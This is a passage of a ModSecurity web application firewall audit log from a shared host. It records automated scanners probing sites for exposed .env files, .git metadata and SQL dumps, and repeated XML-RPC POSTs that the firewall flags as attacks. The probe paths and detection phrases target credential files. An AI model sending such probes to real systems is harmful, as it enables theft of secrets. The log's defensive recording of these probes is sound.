_sfs_id=ffc487f33a69393bba714014ba9567391750037504; expires=Mon, 16 Jun 2025 02:31:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --08b50a0d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/community/.env"] [unique_id "aE90ADZ3uHeEW3BYvDO6FgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037504432766 670429 (- - -) Stopwatch2: 1750037504432766 670429; combined=1698, p1=355, p2=1248, p3=0, p4=0, p5=95, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --08b50a0d-Z-- --42377e2f-A-- [16/Jun/2025:07:02:29.123426 +0530] aE90LfvF1ly0gx5reNmByAAAAAE 185.177.72.104 33020 127.0.0.1 7080 --42377e2f-B-- GET /.git/HEAD HTTP/1.0 Host: deck-story.com X-Real-IP: 185.177.72.104 Connection: close Accept-Encoding: gzip --42377e2f-F-- HTTP/1.1 404 Not Found Content-Length: 260 Connection: close Content-Type: text/html; charset=iso-8859-1 --42377e2f-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "deck-story.com"] [uri "/.git/HEAD"] [unique_id "aE90LfvF1ly0gx5reNmByAAAAAE"] Stopwatch: 1750037549120438 3030 (- - -) Stopwatch2: 1750037549120438 3030; combined=1799, p1=398, p2=1296, p3=26, p4=25, p5=53, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42377e2f-Z-- --8ff69d63-A-- [16/Jun/2025:07:02:29.139156 +0530] aE90LDZ3uHeEW3BYvDO6LwAAAAA 128.199.112.101 49034 127.0.0.1 7081 --8ff69d63-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8ff69d63-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8ff69d63-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE90LDZ3uHeEW3BYvDO6LwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037548172603 966648 (- - -) Stopwatch2: 1750037548172603 966648; combined=2697, p1=406, p2=1807, p3=57, p4=78, p5=217, sr=104, sw=132, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8ff69d63-Z-- --397e8009-A-- [16/Jun/2025:07:02:50.034322 +0530] aE90QeMjvy_LHXlMeRASlQAAAAU 185.177.72.210 54574 127.0.0.1 7081 --397e8009-B-- GET /db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --397e8009-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=effc6f840a95ed6f5fde239f4af2185c1750037569; expires=Mon, 16 Jun 2025 02:32:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --397e8009-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/db_backup.sql"] [unique_id "aE90QeMjvy_LHXlMeRASlQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037569258300 776111 (- - -) Stopwatch2: 1750037569258300 776111; combined=2224, p1=349, p2=1773, p3=0, p4=0, p5=101, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --397e8009-Z-- --a6a6b821-A-- [16/Jun/2025:07:02:53.090954 +0530] aE90RPv_9qNKLXJRkuZeYwAAAAs 185.177.72.210 45800 127.0.0.1 7081 --a6a6b821-B-- GET /dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a6a6b821-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b36645ae4b566d0a5068a43bdc1df9081750037572; expires=Mon, 16 Jun 2025 02:32:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a6a6b821-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dev/.env"] [unique_id "aE90RPv_9qNKLXJRkuZeYwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037572405496 685532 (- - -) Stopwatch2: 1750037572405496 685532; combined=2000, p1=396, p2=1473, p3=0, p4=0, p5=130, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a6a6b821-Z-- --85a53e42-A-- [16/Jun/2025:07:03:05.547081 +0530] aE90UPvF1ly0gx5reNmB3gAAAAE 185.177.72.210 42132 127.0.0.1 7081 --85a53e42-B-- GET /:8000/.env.3 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --85a53e42-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=59ca954bb5b94cc638179d4bbed695f61750037585; expires=Mon, 16 Jun 2025 02:33:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --85a53e42-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.3"] [unique_id "aE90UPvF1ly0gx5reNmB3gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037584876834 670312 (- - -) Stopwatch2: 1750037584876834 670312; combined=2024, p1=434, p2=1495, p3=0, p4=0, p5=95, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --85a53e42-Z-- --577ce815-A-- [16/Jun/2025:07:03:29.554034 +0530] aE90aIkQyF8-ounHsxsF8AAAAA8 128.199.112.101 56328 127.0.0.1 7081 --577ce815-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --577ce815-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --577ce815-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE90aIkQyF8-ounHsxsF8AAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037608638474 915616 (- - -) Stopwatch2: 1750037608638474 915616; combined=2088, p1=398, p2=1320, p3=39, p4=59, p5=171, sr=105, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --577ce815-Z-- --db35c629-A-- [16/Jun/2025:07:04:08.945583 +0530] aE90kJ16HYQp4eDf7R1dUwAAAAI 185.177.72.210 44980 127.0.0.1 7081 --db35c629-B-- GET /static/dump.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --db35c629-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2ae737299d6ec7b8ef4487e026e321791750037648; expires=Mon, 16 Jun 2025 02:34:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --db35c629-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/static/dump.sql"] [unique_id "aE90kJ16HYQp4eDf7R1dUwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037648200682 744984 (- - -) Stopwatch2: 1750037648200682 744984; combined=2454, p1=450, p2=1888, p3=0, p4=0, p5=116, sr=149, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --db35c629-Z-- --247be970-A-- [16/Jun/2025:07:04:28.503008 +0530] aE90o516HYQp4eDf7R1dXAAAAAI 185.177.72.210 56706 127.0.0.1 7081 --247be970-B-- GET /:8888/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --247be970-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3d659f31e6e7757ebb82c54b42c87e441750037668; expires=Mon, 16 Jun 2025 02:34:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --247be970-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/stag/.env"] [unique_id "aE90o516HYQp4eDf7R1dXAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037667845888 657183 (- - -) Stopwatch2: 1750037667845888 657183; combined=1867, p1=377, p2=1394, p3=0, p4=0, p5=95, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --247be970-Z-- --83abe14d-A-- [16/Jun/2025:07:04:29.207815 +0530] aE90pOhCUAahT1nBjTYOdwAAAAM 128.199.112.101 56722 127.0.0.1 7081 --83abe14d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --83abe14d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --83abe14d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE90pOhCUAahT1nBjTYOdwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037668279751 928119 (- - -) Stopwatch2: 1750037668279751 928119; combined=2241, p1=350, p2=1462, p3=47, p4=86, p5=182, sr=96, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83abe14d-Z-- --3122015b-A-- [16/Jun/2025:07:04:38.747910 +0530] aE90rroFnONBt7jRcByVDAAAAA4 185.177.72.210 55982 127.0.0.1 7081 --3122015b-B-- GET /:5601/front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3122015b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=da36c4903bb2f83830c85e7f660867ec1750037678; expires=Mon, 16 Jun 2025 02:34:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3122015b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/front/.env"] [unique_id "aE90rroFnONBt7jRcByVDAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037678100967 647031 (- - -) Stopwatch2: 1750037678100967 647031; combined=1650, p1=359, p2=1187, p3=0, p4=0, p5=103, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3122015b-Z-- --3459f459-A-- [16/Jun/2025:07:04:45.204063 +0530] aE90tPv_9qNKLXJRkuZeqQAAAAs 185.177.72.210 38678 127.0.0.1 7081 --3459f459-B-- GET /:5000/build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3459f459-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=762ac56e39411bd7b87ebbc02fc846871750037685; expires=Mon, 16 Jun 2025 02:34:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3459f459-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/build/.env"] [unique_id "aE90tPv_9qNKLXJRkuZeqQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037684537492 666652 (- - -) Stopwatch2: 1750037684537492 666652; combined=1671, p1=365, p2=1210, p3=0, p4=0, p5=95, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3459f459-Z-- --9d1a5352-A-- [16/Jun/2025:07:04:47.322546 +0530] aE90tokQyF8-ounHsxsGIgAAAA8 185.177.72.210 38744 127.0.0.1 7081 --9d1a5352-B-- GET /:8080/.c9/metadata/ambienzinhoironment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9d1a5352-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=911c0024a24ea70a3564848f312d882f1750037687; expires=Mon, 16 Jun 2025 02:34:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9d1a5352-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.c9/metadata/ambienzinhoironment/.env"] [unique_id "aE90tokQyF8-ounHsxsGIgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037686655589 667041 (- - -) Stopwatch2: 1750037686655589 667041; combined=1976, p1=382, p2=1489, p3=0, p4=0, p5=104, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9d1a5352-Z-- --ce83c455-A-- [16/Jun/2025:07:04:51.626645 +0530] aE90uroFnONBt7jRcByVEgAAAA4 185.177.72.210 39530 127.0.0.1 7081 --ce83c455-B-- GET /.env.%E3%83%87%E3%83%90%E3%83%83%E3%82%B0 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce83c455-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1f627a8e8c1c18c9b9c0264c670863511750037691; expires=Mon, 16 Jun 2025 02:34:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce83c455-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.%E3%83%87%E3%83%90%E3%83%83%E3%82%B0"] [unique_id "aE90uroFnONBt7jRcByVEgAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037690922835 703886 (- - -) Stopwatch2: 1750037690922835 703886; combined=2447, p1=534, p2=1783, p3=0, p4=0, p5=129, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce83c455-Z-- --4d674d35-A-- [16/Jun/2025:07:04:59.565569 +0530] aE90wp16HYQp4eDf7R1dbgAAAAI 185.177.72.210 39824 127.0.0.1 7081 --4d674d35-B-- GET /:8888/.env.3 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 